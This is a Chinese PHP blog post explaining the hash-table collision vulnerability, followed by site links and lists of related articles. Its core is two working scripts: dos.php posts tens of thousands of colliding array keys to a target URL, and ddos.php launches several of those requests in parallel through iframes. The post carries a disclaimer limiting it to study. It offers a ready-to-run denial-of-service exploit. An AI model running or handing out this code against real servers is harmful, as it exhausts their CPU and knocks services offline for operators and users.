PHP利用hash冲突漏洞进行DDoS攻击的方法分析


Posted in PHP onMarch 26, 2015

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

// 目标地址 
// 只要目标地址存在,不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

文件:ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<?php 
for($i=0; $i<5; $i++){//并发数 
  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
?> 
</body> 
</html>

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
多数据表共用一个页的新闻发布
Oct 09 PHP
PHP开发的一些注意点总结
Oct 12 PHP
深入探讨<br />和 \r\n两者有什么区别??
Jun 05 PHP
php中的strpos使用示例
Feb 27 PHP
PHP彩蛋信息介绍和阻止泄漏的方法(隐藏功能)
Aug 06 PHP
PHP-Java-Bridge使用笔记
Sep 22 PHP
ThinkPHP控制器里javascript代码不能执行的解决方法
Nov 22 PHP
如何利用http协议发布博客园博文评论
Aug 03 PHP
PHP开发实现微信退款功能示例
Nov 25 PHP
Laravel中的chunk组块结果集处理与注意问题
Aug 15 PHP
PHP INT类型在内存中占字节详解
Jul 20 PHP
Thinkphp5.0 框架视图view的比较标签用法分析
Oct 12 PHP
ThinkPHP、ZF2、Yaf、Laravel框架路由大比拼
Mar 25 #PHP
CentOS 安装 PHP5.5+Redis+XDebug+Nginx+MySQL全纪录
Mar 25 #PHP
MacOS 安装 PHP的图片裁剪扩展Tclip
Mar 25 #PHP
php编写的一个E-mail验证类
Mar 25 #PHP
php取得字符串首字母的方法
Mar 25 #PHP
PHP判断IP并转跳到相应城市分站的方法
Mar 25 #PHP
PHP使用in_array函数检查数组中是否存在某个值
Mar 25 #PHP
You might like
PHP中设置时区方法小结
2012/06/03 PHP
浅谈php安全性需要注意的几点事项
2014/07/17 PHP
php检测mysql表是否存在的方法小结
2017/07/20 PHP
PHP htmlentities()函数用法讲解
2019/02/25 PHP
Js操作Select大全(取值、设置选中等等)
2013/10/29 Javascript
浅谈javascript属性onresize
2015/04/20 Javascript
jQuery自动添加表单项的方法
2015/07/13 Javascript
Angular中的$watch方法详解
2017/09/18 Javascript
Node.js Buffer模块功能及常用方法实例分析
2019/01/05 Javascript
layui实现图片虚拟路径上传,预览和删除的例子
2019/09/25 Javascript
python使用在线API查询IP对应的地理位置信息实例
2014/06/01 Python
python中使用xlrd、xlwt操作excel表格详解
2015/01/29 Python
python实用代码片段收集贴
2015/06/03 Python
利用python爬取散文网的文章实例教程
2017/06/18 Python
Python下实现的RSA加密/解密及签名/验证功能示例
2017/07/17 Python
Python实现修改IE注册表功能示例
2018/05/10 Python
python编写简易聊天室实现局域网内聊天功能
2018/07/28 Python
python 使用matplotlib 实现从文件中读取x,y坐标的可视化方法
2019/07/04 Python
Python分割训练集和测试集的方法示例
2019/09/19 Python
Python-Flask:动态创建表的示例详解
2019/11/22 Python
使用matplotlib绘制图例标签中带有公式的图
2019/12/13 Python
Python稀疏矩阵及参数保存代码实现
2020/04/18 Python
解决Python发送Http请求时,中文乱码的问题
2020/04/30 Python
Python select及selectors模块概念用法详解
2020/06/22 Python
Sublime Text3最新激活注册码分享适用2020最新版 亲测可用
2020/11/12 Python
全球知名巧克力品牌:Godiva
2016/07/22 全球购物
购买一个高级域名:BuyDomains
2018/03/11 全球购物
德国玩具商店:Planet Happy DE
2021/01/16 全球购物
Linux管理员面试经常问道的相关命令
2014/12/12 面试题
自荐书格式
2013/12/01 职场文书
四风问题班子对照检查材料
2014/09/27 职场文书
2014年幼师工作总结
2014/11/22 职场文书
银行柜员工作心得体会
2016/01/23 职场文书
公司与个人合作协议书
2016/03/19 职场文书
Oracle 数据仓库ETL技术之多表插入语句的示例详解
2021/04/12 Oracle
nginx从安装到配置详细说明(安装,安全配置,防盗链,动静分离,配置 HTTPS,性能优化)
2022/02/12 Servers